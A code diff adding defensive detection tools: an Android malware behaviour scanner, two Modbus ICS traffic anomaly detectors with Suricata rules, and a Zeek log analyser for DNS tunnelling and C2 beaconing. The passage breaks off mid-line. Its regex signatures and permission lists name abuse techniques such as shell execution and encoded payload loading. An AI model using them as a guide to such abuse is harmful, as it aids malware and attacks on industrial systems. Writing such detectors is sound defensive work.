"android.permission.READ_CALL_LOG": ("HIGH", "Reads call logs"), + "android.permission.ACCESS_FINE_LOCATION": ("MEDIUM", "Fine GPS location"), + "android.permission.WRITE_EXTERNAL_STORAGE": ("LOW", "Write to external storage"), + "android.permission.INSTALL_PACKAGES": ("CRITICAL", "Can install other apps"), + "android.permission.REQUEST_INSTALL_PACKAGES": ("HIGH", "Request app install"), + "android.permission.SYSTEM_ALERT_WINDOW": ("HIGH", "Overlay attacks"), + "android.permission.BIND_ACCESSIBILITY_SERVICE": ("CRITICAL", "Accessibility abuse"), + "android.permission.BIND_DEVICE_ADMIN": ("CRITICAL", "Device admin control"), + "android.permission.READ_PHONE_STATE": ("MEDIUM", "Reads device identifiers"), + "android.permission.PROCESS_OUTGOING_CALLS": ("HIGH", "Intercepts outgoing calls"), +} + +SUSPICIOUS_RECEIVERS = [ + "BOOT_COMPLETED", "SMS_RECEIVED", "PHONE_STATE", + "NEW_OUTGOING_CALL", "PACKAGE_ADDED", "CONNECTIVITY_CHANGE", +] + +MALWARE_API_PATTERNS = [ + (r"DexClassLoader|PathClassLoader", "HIGH", "Dynamic code loading"), + (r"Runtime\.exec|ProcessBuilder", "HIGH", "Command execution"), + (r"TelephonyManager\.getDeviceId", "MEDIUM", "Device fingerprinting"), + (r"Base64\.decode.*exec", "CRITICAL", "Encoded payload execution"), + (r"loadLibrary|System\.load", "MEDIUM", "Native library loading"), + (r"Cipher.*AES.*encrypt", "LOW", "Encryption (possible ransomware)"), + (r"javax\.crypto", "LOW", "Cryptographic operations"), + (r"HttpURLConnection|OkHttp", "LOW", "Network communication"), + (r"getRuntime\(\)\.exec", "HIGH", "Shell command execution"), +] + + +def analyze_apk_manifest(apk_path): + findings = [] + permissions = [] + try: + result = subprocess.run( + ["aapt", "dump", "permissions", apk_path], + capture_output=True, text=True, timeout=30) + if result.returncode == 0: + for line in result.stdout.split("\n"): + perm_match = re.search(r"uses-permission.*'([^']+)'", line) + if perm_match: + perm = perm_match.group(1) + permissions.append(perm) + if perm in DANGEROUS_ANDROID_PERMISSIONS: + sev, desc = DANGEROUS_ANDROID_PERMISSIONS[perm] + findings.append({ + "type": "dangerous_permission", + "permission": perm, + "severity": sev, + "description": desc, + }) + except (FileNotFoundError, subprocess.TimeoutExpired): + try: + with zipfile.ZipFile(apk_path, 'r') as z: + if "AndroidManifest.xml" in z.namelist(): + findings.append({"note": "Binary manifest found, use aapt or apktool to decode"}) + except zipfile.BadZipFile: + findings.append({"error": "Invalid APK file"}) + + return {"permissions": permissions, "findings": findings} + + +def scan_decompiled_source(source_dir): + findings = [] + source_path = Path(source_dir) + for java_file in source_path.rglob("*.java"): + try: + content = java_file.read_text(encoding="utf-8", errors="replace") + for pattern, severity, desc in MALWARE_API_PATTERNS: + matches = re.findall(pattern, content) + if matches: + findings.append({ + "type": "suspicious_api", + "file": str(java_file), + "pattern": desc, + "match_count": len(matches), + "severity": severity, + }) + except OSError: + continue + for smali_file in source_path.rglob("*.smali"): + try: + content = smali_file.read_text(encoding="utf-8", errors="replace") + if "Landroid/app/admin/DeviceAdminReceiver" in content: + findings.append({ + "type": "device_admin", + "file": str(smali_file), + "severity": "CRITICAL", + "description": "App registers as device administrator", + }) + except OSError: + continue + return findings + + +def calculate_risk(findings): + score = 0 + for f in findings: + sev = f.get("severity", "LOW") + score += {"CRITICAL": 30, "HIGH": 15, "MEDIUM": 5, "LOW": 2}.get(sev, 0) + risk = "CRITICAL" if score >= 80 else "HIGH" if score >= 40 else \ + "MEDIUM" if score >= 15 else "LOW" + return {"score": min(score, 100), "risk_level": risk} + + +def main(): + parser = argparse.ArgumentParser(description="Mobile Malware Behavior Detector") + parser.add_argument("--apk", help="Path to APK file") + parser.add_argument("--source-dir", help="Path to decompiled source directory") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.apk: + apk_results = analyze_apk_manifest(args.apk) + results["permissions"] = apk_results["permissions"] + results["findings"].extend(apk_results["findings"]) + + if args.source_dir: + results["findings"].extend(scan_decompiled_source(args.source_dir)) + + results["risk"] = calculate_risk(results["findings"]) + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-modbus-command-injection-attacks/LICENSE b/skills/detecting-modbus-command-injection-attacks/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-modbus-command-injection-attacks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-modbus-command-injection-attacks/references/api-reference.md b/skills/detecting-modbus-command-injection-attacks/references/api-reference.md new file mode 100644 index 00000000..c8dd6921 --- /dev/null +++ b/skills/detecting-modbus-command-injection-attacks/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Detecting Modbus Command Injection Attacks + +## Modbus Function Codes + +| Code | Function | Risk | +|------|----------|------| +| 1 | Read Coils | Read | +| 3 | Read Holding Registers | Read | +| 5 | Write Single Coil | Write (dangerous) | +| 6 | Write Single Register | Write (dangerous) | +| 15 | Write Multiple Coils | Write (dangerous) | +| 16 | Write Multiple Registers | Write (dangerous) | +| 8 | Diagnostics | Diagnostic | + +## Zeek Modbus Log + +``` +#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p func +``` + +## Suricata Modbus Rules + +``` +alert modbus any any -> any 502 (msg:"Modbus Write Coil"; \ + modbus: function 5; sid:3000001;) +alert modbus any any -> any 502 (msg:"Modbus Write Multiple Registers"; \ + modbus: function 16; sid:3000002;) +``` + +## pymodbus Library + +```python +from pymodbus.client import ModbusTcpClient + +client = ModbusTcpClient("192.168.1.100", port=502) +client.connect() +result = client.read_holding_registers(0, 10, slave=1) +print(result.registers) +client.close() +``` + +## Scapy Modbus Parsing + +```python +from scapy.contrib.modbus import ModbusADURequest +from scapy.all import rdpcap + +pkts = rdpcap("modbus.pcap") +for pkt in pkts: + if pkt.haslayer(ModbusADURequest): + print(f"Function: {pkt.funcCode}") +``` + +## Detection Thresholds + +| Anomaly | Threshold | Severity | +|---------|-----------|----------| +| Write flood | >20 writes/60s | CRITICAL | +| Unknown function code | Any | HIGH | +| Unauthorized master | Not in allowlist | CRITICAL | + +## CLI Usage + +```bash +python agent.py --zeek-log modbus.log +python agent.py --zeek-log modbus.log --authorized-masters 10.0.0.1 10.0.0.2 +``` diff --git a/skills/detecting-modbus-command-injection-attacks/scripts/agent.py b/skills/detecting-modbus-command-injection-attacks/scripts/agent.py new file mode 100644 index 00000000..75f7427c --- /dev/null +++ b/skills/detecting-modbus-command-injection-attacks/scripts/agent.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python3 +"""Modbus command injection detection agent for ICS/SCADA environments. + +Analyzes Modbus TCP traffic for unauthorized write operations, function code +abuse, and anomalous register access patterns using Zeek logs or pcap analysis. +""" + +import argparse +import json +import re +import sys +from collections import Counter, defaultdict +from datetime import datetime + +MODBUS_FUNCTIONS = { + 1: ("Read Coils", "read"), 2: ("Read Discrete Inputs", "read"), + 3: ("Read Holding Registers", "read"), 4: ("Read Input Registers", "read"), + 5: ("Write Single Coil", "write"), 6: ("Write Single Register", "write"), + 15: ("Write Multiple Coils", "write"), 16: ("Write Multiple Registers", "write"), + 8: ("Diagnostics", "diagnostic"), 17: ("Report Server ID", "diagnostic"), + 22: ("Mask Write Register", "write"), 23: ("Read/Write Multiple", "write"), + 43: ("Read Device ID", "diagnostic"), +} + +DANGEROUS_FUNCTIONS = {5, 6, 15, 16, 22, 23} +DIAGNOSTIC_FUNCTIONS = {8, 17, 43} + + +def parse_zeek_modbus_log(filepath): + events = [] + with open(filepath, "r") as f: + headers = None + for line in f: + if line.startswith("#fields"): + headers = line.strip().split("\t")[1:] + continue + if line.startswith("#"): + continue + if not headers: + continue + fields = line.strip().split("\t") + if len(fields) >= len(headers): + events.append(dict(zip(headers, fields))) + return events + + +def analyze_modbus_traffic(events, authorized_masters=None): + findings = [] + fc_counter = Counter() + write_ops = [] + src_dst = defaultdict(int) + + for evt in events: + src = evt.get("id.orig_h", "") + dst = evt.get("id.resp_h", "") + fc_str = evt.get("func", evt.get("function", "")) + try: + fc = int(fc_str) + except (ValueError, TypeError): + continue + + fc_info = MODBUS_FUNCTIONS.get(fc, (f"Unknown({fc})", "unknown")) + fc_counter[fc_info[0]] += 1 + src_dst[f"{src}->{dst}"] += 1 + + if authorized_masters and src not in authorized_masters: + findings.append({ + "type": "unauthorized_master", + "source": src, "destination": dst, + "function": fc_info[0], "function_code": fc, + "severity": "CRITICAL" if fc in DANGEROUS_FUNCTIONS else "HIGH", + }) + + if fc in DANGEROUS_FUNCTIONS: + write_ops.append({ + "timestamp": evt.get("ts", ""), + "source": src, "destination": dst, + "function": fc_info[0], "function_code": fc, + }) + + if fc not in MODBUS_FUNCTIONS: + findings.append({ + "type": "unknown_function_code", + "source": src, "function_code": fc, + "severity": "HIGH", + "description": f"Non-standard Modbus function code: {fc}", + }) + + return { + "total_events": len(events), + "function_distribution": dict(fc_counter), + "write_operations": write_ops, + "communication_pairs": dict(src_dst), + "findings": findings, + } + + +def detect_write_floods(events, threshold=20, window_seconds=60): + findings = [] + src_writes = defaultdict(list) + for evt in events: + fc_str = evt.get("func", "0") + try: + fc = int(fc_str) + except ValueError: + continue + if fc in DANGEROUS_FUNCTIONS: + src = evt.get("id.orig_h", "") + try: + ts = float(evt.get("ts", "0")) + except ValueError: + continue + src_writes[src].append(ts) + + for src, timestamps in src_writes.items(): + timestamps.sort() + for i in range(len(timestamps) - threshold): + if timestamps[i + threshold] - timestamps[i] <= window_seconds: + findings.append({ + "type": "write_flood", + "source": src, + "writes_in_window": threshold, + "window_seconds": window_seconds, + "severity": "CRITICAL", + "description": f">{threshold} write commands in {window_seconds}s from {src}", + }) + break + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Modbus Command Injection Detector") + parser.add_argument("--zeek-log", required=True, help="Zeek modbus.log file") + parser.add_argument("--authorized-masters", nargs="+", help="Authorized master IPs") + parser.add_argument("--flood-threshold", type=int, default=20) + args = parser.parse_args() + + masters = set(args.authorized_masters) if args.authorized_masters else None + events = parse_zeek_modbus_log(args.zeek_log) + analysis = analyze_modbus_traffic(events, masters) + floods = detect_write_floods(events, args.flood_threshold) + + results = { + "timestamp": datetime.utcnow().isoformat() + "Z", + **analysis, + "write_floods": floods, + "total_findings": len(analysis["findings"]) + len(floods), + } + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-modbus-protocol-anomalies/LICENSE b/skills/detecting-modbus-protocol-anomalies/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-modbus-protocol-anomalies/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-modbus-protocol-anomalies/references/api-reference.md b/skills/detecting-modbus-protocol-anomalies/references/api-reference.md new file mode 100644 index 00000000..a77c876f --- /dev/null +++ b/skills/detecting-modbus-protocol-anomalies/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Detecting Modbus Protocol Anomalies + +## Modbus Protocol Limits + +| Parameter | Maximum Value | +|-----------|--------------| +| Coil read quantity | 2000 | +| Register read quantity | 125 | +| Register write quantity | 123 | +| Unit ID range | 1-247 | +| PDU size | 253 bytes | + +## Anomaly Detection Methods + +| Anomaly | Detection | Severity | +|---------|-----------|----------| +| Timing deviation | Polling interval outside tolerance | MEDIUM-HIGH | +| Excessive read | Quantity > protocol limits | HIGH | +| Invalid function code | Not in standard set | HIGH | +| Modbus scan | >5 unique function codes from source | HIGH | +| Register range violation | Address outside configured range | MEDIUM | + +## Zeek Modbus Log Fields + +``` +#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p func exception quantity +``` + +## Suricata Modbus Rules + +``` +alert modbus any any -> any 502 (msg:"Modbus Invalid Function Code"; \ + modbus: function !1,!2,!3,!4,!5,!6,!15,!16; sid:4000001;) +alert modbus any any -> any 502 (msg:"Modbus Excessive Register Read"; \ + modbus: function 3; modbus: quantity > 125; sid:4000002;) +``` + +## Scapy Modbus Analysis + +```python +from scapy.contrib.modbus import ModbusADURequest +from scapy.all import rdpcap + +pkts = rdpcap("modbus.pcap") +for pkt in pkts: + if pkt.haslayer(ModbusADURequest): + print(f"FC={pkt.funcCode} Len={pkt.len}") +``` + +## Baseline Monitoring + +```python +# Expected polling behavior +expected_interval = 1.0 # seconds +tolerance = 0.5 +# Alert if interval < 0.5s or > 3.0s +``` + +## CLI Usage + +```bash +python agent.py --modbus-log modbus.log +python agent.py --modbus-log modbus.log --expected-interval 2.0 +``` diff --git a/skills/detecting-modbus-protocol-anomalies/scripts/agent.py b/skills/detecting-modbus-protocol-anomalies/scripts/agent.py new file mode 100644 index 00000000..59bc58ad --- /dev/null +++ b/skills/detecting-modbus-protocol-anomalies/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""Modbus protocol anomaly detection agent for OT/ICS networks. + +Detects protocol-level anomalies in Modbus TCP traffic including malformed +packets, timing deviations, register range violations, and replay attacks. +""" + +import argparse +import json +import sys +from collections import Counter, defaultdict +from datetime import datetime + +MODBUS_FUNCTIONS = { + 1: "Read Coils", 2: "Read Discrete Inputs", 3: "Read Holding Registers", + 4: "Read Input Registers", 5: "Write Single Coil", 6: "Write Single Register", + 15: "Write Multiple Coils", 16: "Write Multiple Registers", +} + +VALID_REGISTER_RANGES = { + "coils": (0, 65535), "discrete_inputs": (0, 65535), + "holding_registers": (0, 65535), "input_registers": (0, 65535), +} + +MAX_REGISTER_READ = 125 +MAX_COIL_READ = 2000 + + +def parse_modbus_log(filepath): + events = [] + with open(filepath, "r") as f: + headers = None + for line in f: + if line.startswith("#fields"): + headers = line.strip().split("\t")[1:] + continue + if line.startswith("#"): + continue + if not headers: + continue + fields = line.strip().split("\t") + if len(fields) >= len(headers): + events.append(dict(zip(headers, fields))) + return events + + +def detect_timing_anomalies(events, expected_interval=1.0, tolerance=0.5): + findings = [] + pair_timestamps = defaultdict(list) + + for evt in events: + src = evt.get("id.orig_h", "") + dst = evt.get("id.resp_h", "") + try: + ts = float(evt.get("ts", 0)) + except ValueError: + continue + pair_timestamps[f"{src}->{dst}"].append(ts) + + for pair, timestamps in pair_timestamps.items(): + timestamps.sort() + for i in range(1, len(timestamps)): + interval = timestamps[i] - timestamps[i-1] + if interval < expected_interval - tolerance or interval > expected_interval * 3: + findings.append({ + "type": "timing_anomaly", + "pair": pair, + "expected_interval": expected_interval, + "actual_interval": round(interval, 3), + "severity": "MEDIUM" if interval > expected_interval * 3 else "HIGH", + }) + break + return findings + + +def detect_register_anomalies(events): + findings = [] + for evt in events: + fc_str = evt.get("func", "0") + try: + fc = int(fc_str) + except ValueError: + continue + + quantity = evt.get("quantity", "0") + try: + qty = int(quantity) + except ValueError: + qty = 0 + + if fc in (1, 2) and qty > MAX_COIL_READ: + findings.append({ + "type": "excessive_coil_read", + "function_code": fc, + "quantity": qty, + "max_allowed": MAX_COIL_READ, + "severity": "HIGH", + "source": evt.get("id.orig_h", ""), + }) + elif fc in (3, 4) and qty > MAX_REGISTER_READ: + findings.append({ + "type": "excessive_register_read", + "function_code": fc, + "quantity": qty, + "max_allowed": MAX_REGISTER_READ, + "severity": "HIGH", + "source": evt.get("id.orig_h", ""), + }) + + if fc not in MODBUS_FUNCTIONS: + findings.append({ + "type": "invalid_function_code", + "function_code": fc, + "severity": "HIGH", + "source": evt.get("id.orig_h", ""), + }) + return findings + + +def detect_scan_patterns(events, threshold=50): + findings = [] + src_fc_counter = defaultdict(Counter) + for evt in events: + src = evt.get("id.orig_h", "") + fc_str = evt.get("func", "0") + try: + fc = int(fc_str) + except ValueError: + continue + src_fc_counter[src][fc] += 1 + + for src, fc_counts in src_fc_counter.items(): + unique_fcs = len(fc_counts) + total = sum(fc_counts.values()) + if unique_fcs > 5 or (fc_counts.get(17, 0) > 0 and fc_counts.get(43, 0) > 0): + findings.append({ + "type": "modbus_scan", + "source": src, + "unique_function_codes": unique_fcs, + "total_requests": total, + "severity": "HIGH", + "description": f"Modbus enumeration from {src}: {unique_fcs} function codes", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Modbus Protocol Anomaly Detector") + parser.add_argument("--modbus-log", required=True, help="Zeek modbus.log file") + parser.add_argument("--expected-interval", type=float, default=1.0, + help="Expected polling interval in seconds") + args = parser.parse_args() + + events = parse_modbus_log(args.modbus_log) + all_findings = [] + all_findings.extend(detect_timing_anomalies(events, args.expected_interval)) + all_findings.extend(detect_register_anomalies(events)) + all_findings.extend(detect_scan_patterns(events)) + + results = { + "timestamp": datetime.utcnow().isoformat() + "Z", + "total_events": len(events), + "findings": all_findings, + "total_findings": len(all_findings), + } + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-network-anomalies-with-zeek/LICENSE b/skills/detecting-network-anomalies-with-zeek/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-network-anomalies-with-zeek/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-network-anomalies-with-zeek/references/api-reference.md b/skills/detecting-network-anomalies-with-zeek/references/api-reference.md new file mode 100644 index 00000000..fbb4ee65 --- /dev/null +++ b/skills/detecting-network-anomalies-with-zeek/references/api-reference.md @@ -0,0 +1,91 @@ +# Zeek Network Anomaly Detection API Reference + +## Zeek CLI + +```bash +# Process PCAP file +zeek -r capture.pcap -C + +# Run on live interface +zeek -i eth1 + +# Run with custom script +zeek -r capture.pcap local.zeek + +# ZeekControl +zeekctl deploy # Deploy and start +zeekctl status # Check status +zeekctl stop # Stop all workers +zeekctl diag # Diagnostics +``` + +## Zeek Log Files + +| Log | Content | Key Fields | +|-----|---------|------------| +| `conn.log` | All connections | ts, id.orig_h, id.resp_h, service, duration | +| `dns.log` | DNS queries/responses | query, qtype_name, rcode_name | +| `ssl.log` | TLS handshakes | server_name, ja3, validation_status | +| `http.log` | HTTP requests | method, host, uri, user_agent | +| `files.log` | File transfers | md5, sha1, mime_type, filename | +| `notice.log` | Zeek notices/alerts | note, msg, src, dst | +| `weird.log` | Protocol anomalies | name, addl | +| `x509.log` | Certificate details | san.dns, certificate.not_valid_after | + +## Zeek Scripting - Custom Detection + +```zeek +# Detect DNS tunneling (long queries) +event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count) { + if (|query| > 60) { + NOTICE([$note=DNS::Tunneling, + $conn=c, + $msg=fmt("Long DNS query (%d chars): %s", |query|, query), + $identifier=cat(c$id$orig_h)]); + } +} + +# Detect C2 beaconing +@load base/frameworks/sumstats +event connection_established(c: connection) { + if (Site::is_local_addr(c$id$orig_h) && !Site::is_local_addr(c$id$resp_h)) { + SumStats::observe("ext_conns", + SumStats::Key($str=cat(c$id$orig_h, "->", c$id$resp_h)), + SumStats::Observation($num=1)); + } +} +``` + +## Zeek Log Parsing (Python) + +```python +# Parse tab-separated Zeek logs +with open("conn.log") as f: + for line in f: + if line.startswith("#"): + continue + fields = line.strip().split("\t") + ts, uid, orig_h, orig_p, resp_h, resp_p = fields[:6] +``` + +## zeek-cut (CLI field extraction) + +```bash +# Extract specific fields +cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p service + +# DNS queries sorted by count +cat dns.log | zeek-cut query | sort | uniq -c | sort -rn | head -20 + +# JA3 fingerprints +cat ssl.log | zeek-cut ja3 server_name | sort | uniq -c | sort -rn +``` + +## Beaconing Detection Formula + +``` +interval_avg = mean(connection_intervals) +jitter = mean(|interval - interval_avg|) / interval_avg +if jitter < 0.15 and connections > 10: + flag as potential C2 beacon +``` diff --git a/skills/detecting-network-anomalies-with-zeek/scripts/agent.py b/skills/detecting-network-anomalies-with-zeek/scripts/agent.py new file mode 100644 index 00000000..eb64d42a --- /dev/null +++ b/skills/detecting-network-anomalies-with-zeek/scripts/agent.py @@ -0,0 +1,290 @@ +#!/usr/bin/env python3 +"""Zeek network anomaly detection agent for log analysis and threat hunting.""" + +import json +import os +import subprocess +import sys +from collections import Counter, defaultdict +from datetime import datetime +from pathlib import Path + + +ZEEK_BIN = "/opt/zeek/bin/zeek" +ZEEK_LOG_DIR = "/opt/zeek/logs/current" + + +def check_zeek_status(): + """Check Zeek installation and running status.""" + version = {"installed": False} + try: + result = subprocess.run([ZEEK_BIN, "--version"], capture_output=True, text=True, timeout=10) + version = {"installed": True, "version": result.stdout.strip() or result.stderr.strip()} + except FileNotFoundError: + try: + result = subprocess.run(["zeek", "--version"], capture_output=True, text=True, timeout=10) + version = {"installed": True, "version": result.stdout.strip()} + except FileNotFoundError: + version = {"installed": False} + + running = False + try: + r = subprocess.run(["zeekctl", "status"], capture_output=True, text=True, timeout=10) + running = "running" in r.stdout.lower() + except FileNotFoundError: + pass + + return {**version, "running": running} + + +def parse_conn_log(log_path=None): + """Parse Zeek conn.log for connection statistics and anomalies.""" + log_path = log_path or os.path.join(ZEEK_LOG_DIR, "conn.log") + if not os.path.exists(log_path): + return {"error": f"conn.log not found: {log_path}"} + + total = 0 + protocols = Counter() + services = Counter() + top_talkers = Counter() + top_destinations = Counter() + long_connections = [] + + with open(log_path, "r") as f: + header = {} + for line in f: + if line.startswith("#fields"): + fields_list = line.strip().split("\t")[1:] + header = {name: i for i, name in enumerate(fields_list)} + continue + if line.startswith("#"): + continue + parts = line.strip().split("\t") + total += 1 + if not header: + continue + + src = parts[header.get("id.orig_h", 2)] if len(parts) > header.get("id.orig_h", 2) else "" + dst = parts[header.get("id.resp_h", 4)] if len(parts) > header.get("id.resp_h", 4) else "" + proto = parts[header.get("proto", 6)] if len(parts) > header.get("proto", 6) else "" + service = parts[header.get("service", 7)] if len(parts) > header.get("service", 7) else "-" + duration = parts[header.get("duration", 8)] if len(parts) > header.get("duration", 8) else "-" + + protocols[proto] += 1 + if service != "-": + services[service] += 1 + top_talkers[src] += 1 + top_destinations[dst] += 1 + + if duration != "-": + try: + dur = float(duration) + if dur > 3600: + long_connections.append({"src": src, "dst": dst, "duration_sec": dur, "service": service}) + except ValueError: + pass + + return { + "total_connections": total, + "protocols": dict(protocols), + "top_services": services.most_common(15), + "top_sources": top_talkers.most_common(15), + "top_destinations": top_destinations.most_common(15), + "long_connections": sorted(long_connections, key=lambda x: x["duration_sec"], reverse=True)[:20], + } + + +def parse_dns_log(log_path=None): + """Parse Zeek dns.log for DNS anomaly detection.""" + log_path = log_path or os.path.join(ZEEK_LOG_DIR, "dns.log") + if not os.path.exists(log_path): + return {"error": f"dns.log not found: {log_path}"} + + queries = Counter() + query_types = Counter() + long_queries = [] + nxdomain = [] + + with open(log_path, "r") as f: + header = {} + for line in f: + if line.startswith("#fields"): + fields_list = line.strip().split("\t")[1:] + header = {name: i for i, name in enumerate(fields_list)} + continue + if line.startswith("#"): + continue + parts = line.strip().split("\t") + if not header: + continue + + query = parts[header.get("query", 9)] if len(parts) > header.get("query", 9) else "" + qtype = parts[header.get("qtype_name", 13)] if len(parts) > header.get("qtype_name", 13) else "" + rcode = parts[header.get("rcode_name", 15)] if len(parts) > header.get("rcode_name", 15) else "" + src = parts[header.get("id.orig_h", 2)] if len(parts) > header.get("id.orig_h", 2) else "" + + queries[query] += 1 + query_types[qtype] += 1 + + if len(query) > 60: + long_queries.append({"source": src, "query": query, "length": len(query)}) + if rcode == "NXDOMAIN": + nxdomain.append({"source": src, "query": query}) + + return { + "unique_queries": len(queries), + "top_queries": queries.most_common(20), + "query_types": dict(query_types), + "long_queries_tunneling": long_queries[:20], + "nxdomain_count": len(nxdomain), + "nxdomain_samples": nxdomain[:20], + } + + +def parse_ssl_log(log_path=None): + """Parse Zeek ssl.log for TLS anomalies and certificate issues.""" + log_path = log_path or os.path.join(ZEEK_LOG_DIR, "ssl.log") + if not os.path.exists(log_path): + return {"error": f"ssl.log not found: {log_path}"} + + ja3_hashes = Counter() + server_names = Counter() + expired_certs = [] + + with open(log_path, "r") as f: + header = {} + for line in f: + if line.startswith("#fields"): + fields_list = line.strip().split("\t")[1:] + header = {name: i for i, name in enumerate(fields_list)} + continue + if line.startswith("#"): + continue + parts = line.strip().split("\t") + if not header: + continue + + ja3 = parts[header.get("ja3", -1)] if header.get("ja3") and len(parts) > header["ja3"] else "-" + sni = parts[header.get("server_name", -1)] if header.get("server_name") and len(parts) > header["server_name"] else "-" + valid = parts[header.get("validation_status", -1)] if header.get("validation_status") and len(parts) > header["validation_status"] else "-" + + if ja3 != "-": + ja3_hashes[ja3] += 1 + if sni != "-": + server_names[sni] += 1 + if "expired" in valid.lower() if valid != "-" else False: + expired_certs.append({"sni": sni, "validation": valid}) + + return { + "unique_ja3": len(ja3_hashes), + "top_ja3": ja3_hashes.most_common(20), + "top_sni": server_names.most_common(20), + "expired_certs": expired_certs[:20], + } + + +def detect_beaconing(log_path=None, interval_tolerance=0.15): + """Detect C2 beaconing patterns from Zeek conn.log.""" + log_path = log_path or os.path.join(ZEEK_LOG_DIR, "conn.log") + if not os.path.exists(log_path): + return {"error": f"conn.log not found: {log_path}"} + + pair_times = defaultdict(list) + with open(log_path, "r") as f: + header = {} + for line in f: + if line.startswith("#fields"): + fields_list = line.strip().split("\t")[1:] + header = {name: i for i, name in enumerate(fields_list)} + continue + if line.startswith("#"): + continue + parts = line.strip().split("\t") + if not header: + continue + ts = parts[header.get("ts", 0)] if len(parts) > header.get("ts", 0) else "" + src = parts[header.get("id.orig_h", 2)] if len(parts) > header.get("id.orig_h", 2) else "" + dst = parts[header.get("id.resp_h", 4)] if len(parts) > header.get("id.resp_h", 4) else "" + try: + pair_times[f"{src}->{dst}"].append(float(ts)) + except ValueError: + pass + + beacons = [] + for pair, times in pair_times.items(): + if len(times) < 10: + continue + times.sort() + intervals = [times[i+1] - times[i] for i in range(len(times)-1)] + if not intervals: + continue + avg = sum(intervals) / len(intervals) + if avg < 1: + continue + jitter = sum(abs(i - avg) for i in intervals) / len(intervals) / avg if avg > 0 else 1 + if jitter < interval_tolerance: + src, dst = pair.split("->") + beacons.append({ + "source": src, "destination": dst, + "connections": len(times), + "avg_interval_sec": round(avg, 1), + "jitter_pct": round(jitter * 100, 1), + }) + + beacons.sort(key=lambda x: x["connections"], reverse=True) + return {"beacons_detected": len(beacons), "beacons": beacons[:20]} + + +def analyze_pcap(pcap_path): + """Analyze a PCAP file with Zeek to generate logs.""" + if not os.path.exists(pcap_path): + return {"error": f"PCAP not found: {pcap_path}"} + + output_dir = f"/tmp/zeek_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}" + os.makedirs(output_dir, exist_ok=True) + try: + result = subprocess.run( + ["zeek", "-r", pcap_path, "-C"], + capture_output=True, text=True, timeout=120, cwd=output_dir + ) + logs = 